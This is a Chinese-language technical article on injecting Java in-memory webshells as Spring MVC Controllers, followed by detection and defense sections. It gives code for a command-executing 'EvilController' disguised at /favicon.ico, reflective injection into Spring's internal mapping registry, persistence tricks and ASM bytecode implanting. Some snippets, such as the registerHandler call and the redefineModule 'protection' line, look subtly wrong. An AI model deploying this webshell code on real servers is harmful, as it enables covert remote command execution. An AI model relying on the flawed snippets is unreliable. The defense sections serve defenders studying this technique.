Java内存马——Controller型的三种注入
字数 2305 2025-08-30 06:50:12
Java内存马——Controller型注入技术深度解析
一、核心前提:获取Spring上下文
无论采用哪种注入方式,攻击者必须先获取到当前的Spring ApplicationContext对象,这是操作IoC容器的入口。
常见获取方式
-
WebApplicationContextUtils工具类
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(servletContext);(需先通过Request/Session/Filter等获取ServletContext)
-
从已知Bean中获取
- 若已有执行点(如已有WebShell),可通过
context.getBean()获取关键Bean(如dispatcherServlet),再反射获取其持有的WebApplicationContext
- 若已有执行点(如已有WebShell),可通过
-
从当前线程的ContextClassLoader加载
- 适用于某些特定环境
二、直接动态注册Bean(推荐方式)
原理
直接向Spring容器的BeanFactory注册一个恶意Controller的BeanDefinition,使其成为受管理的Bean,并被RequestMappingHandlerMapping扫描。
实现步骤
-
创建恶意Controller类字节码
public class EvilController { @RequestMapping("/favicon.ico") public void execute(HttpServletRequest request, HttpServletResponse response) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { Process process = Runtime.getRuntime().exec(cmd); // 读取process输出并写入response } } } -
动态生成BeanDefinition
// 1. 创建GenericBeanDefinition GenericBeanDefinition beanDefinition = new GenericBeanDefinition(); beanDefinition.setBeanClassName("com.evil.EvilController"); beanDefinition.setScope(BeanDefinition.SCOPE_SINGLETON); // 2. 获取BeanFactory DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) context.getAutowireCapableBeanFactory(); // 3. 注册BeanDefinition beanFactory.registerBeanDefinition("evilController", beanDefinition); -
触发RequestMapping注册
// 获取RequestMappingHandlerMapping RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); // 获取恶意Controller实例 Object controller = context.getBean("evilController"); // 注册HandlerMethod mapping.registerHandler(controller);
优缺点分析
- ✅ 优点:符合Spring标准流程,稳定可靠
- ❌ 缺点:需要手动触发HandlerMapping注册,可能引起短暂请求阻塞
三、修改RequestMappingHandlerMapping的MappingRegistry
原理
Spring MVC最终将URL映射关系存储在MappingRegistry中。攻击者直接操作该内部结构,添加恶意映射。
实现步骤
-
获取关键对象
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); // 反射获取私有字段mappingRegistry Field registryField = mapping.getClass().getSuperclass().getDeclaredField("mappingRegistry"); registryField.setAccessible(true); MappingRegistry mappingRegistry = (MappingRegistry) registryField.get(mapping); -
创建恶意HandlerMethod
// 创建恶意Controller实例 Object evilController = new EvilController(); // 获取目标方法 Method executeMethod = evilController.getClass().getMethod("execute", HttpServletRequest.class, HttpServletResponse.class); // 创建HandlerMethod HandlerMethod handlerMethod = new HandlerMethod(evilController, executeMethod); -
构造RequestMappingInfo
RequestMappingInfo requestMappingInfo = RequestMappingInfo .paths("/favicon.ico") .methods(RequestMethod.GET) .build(); -
注入MappingRegistry
// 反射调用register方法 Method registerMethod = MappingRegistry.class.getDeclaredMethod("register", Mapping.class, Object.class, Method.class); registerMethod.setAccessible(true); registerMethod.invoke(mappingRegistry, requestMappingInfo, evilController, executeMethod);
优缺点分析
- ✅ 优点:完全内存化,不创建新Bean,极度隐蔽
- ❌ 缺点:
- 严重依赖Spring内部实现,版本兼容性差
- Controller实例非Spring管理,需自行维护生命周期
- 绕过Bean初始化流程,可能导致意外错误
四、利用父子容器机制注入
适用场景
当应用存在父子容器结构时(如Spring + Spring MVC),可将恶意Controller注册到子容器中,避开父容器管理。
原理
- 父容器(Root WebApplicationContext):管理Service、DAO等
- 子容器(Servlet WebApplicationContext):管理Controller、Interceptor等Web组件
实现步骤
-
获取子容器
ServletContext servletContext = request.getServletContext(); String servletName = "dispatcher"; // DispatcherServlet名称 WebApplicationContext childContext = WebApplicationContextUtils.getWebApplicationContext( servletContext, "org.springframework.web.servlet.FrameworkServlet.CONTEXT." + servletName ); -
在子容器中注册恶意Controller Bean
- 方式同"直接动态注册Bean",使用子容器的BeanFactory注册BeanDefinition并触发HandlerMapping更新
优缺点分析
- ✅ 优势:隐蔽性强,尤其当安全扫描只检查父容器时
- ❌ 注意:依赖应用存在父子容器结构(典型Spring MVC项目都有)
五、内存马存活的关键技术
1. 防止GC回收
- 方式一中Controller作为Spring单例Bean,由容器持有,不会被回收
- 方式二需自行创建强引用(如将其存入静态Map或ThreadLocal)
2. URL路径伪装
使用/favicon.ico、/common.css、/images/logo.png等看似正常的路径降低怀疑
六、检测与防御方案
1. 监控Bean动态注册
- RASP Hook
BeanDefinitionRegistry.registerBeanDefinition()方法 - 监控
DefaultListableBeanFactory的beanDefinitionMap变化
2. 扫描MappingRegistry
- 定期dump
RequestMappingHandlerMapping中的URL映射表 - 对比基线:记录系统启动时的合法Mapping,检测新增项
3. 运行时流量分析
- 监控访问"伪装路径"但返回非预期内容(如命令回显)的请求
4. 强化容器安全
- 禁止非信任来源的JSP/Controller执行动态类加载
- 使用SecurityManager限制反射操作敏感类
5. 代码审计
检查是否存在可被利用的漏洞点(如反序列化、表达式注入),阻断注入入口
七、技术对比总结
| 注入方式 | 关键技术点 | 隐蔽性 | 稳定性 | 适用场景 |
|---|---|---|---|---|
| 动态注册Bean | BeanFactory + HandlerMapping刷新 | 高 | 高 | 通用 |
| 修改MappingRegistry | 反射操作内部MappingRegistry | 极高 | 中(依赖版本) | 追求极致隐蔽 |
| 父子容器注入 | 定位子容器 + 注册Bean | 高 | 高 | 存在父子容器的Spring MVC应用 |
八、高级技术演进
-
跨控制器注入
public void existingControllerMethod(/*原始参数*/) { // 原始逻辑 // 寄生逻辑 if (request.getParameter("debug") != null) { executeMaliciousCode(request, response); return; } } -
基于ASM的字节码植入
ClassReader cr = new ClassReader(TargetController.class); ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); ClassVisitor cv = new GhostInjectionAdapter(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES); byte[] modifiedBytes = cw.toByteArray(); redefineClass(TargetController.class, modifiedBytes); -
结合响应式编程模型
@Bean public RouterFunction<ServerResponse> ghostRoute() { return route() .GET("/hidden/path", request -> { // 恶意处理逻辑 return ServerResponse.ok().body(...); }) .build(); }
九、防御体系构建
-
运行时映射监控
- 建立请求映射基线
- 实时检测异常注册
-
类加载器白名单
- 限制非信任类加载器
- 验证类来源证书
-
内存写保护
instrumentation.redefineModule(module, Set.of(MappingRegistry.class), Map.of(), Map.of(), Set.of(), Map.of()); -
深度行为分析
- 监控反射调用模式
- 检测非常规路径请求
通过全面了解这些技术原理和防御措施,可以有效提升对Controller型内存马的检测和防御能力。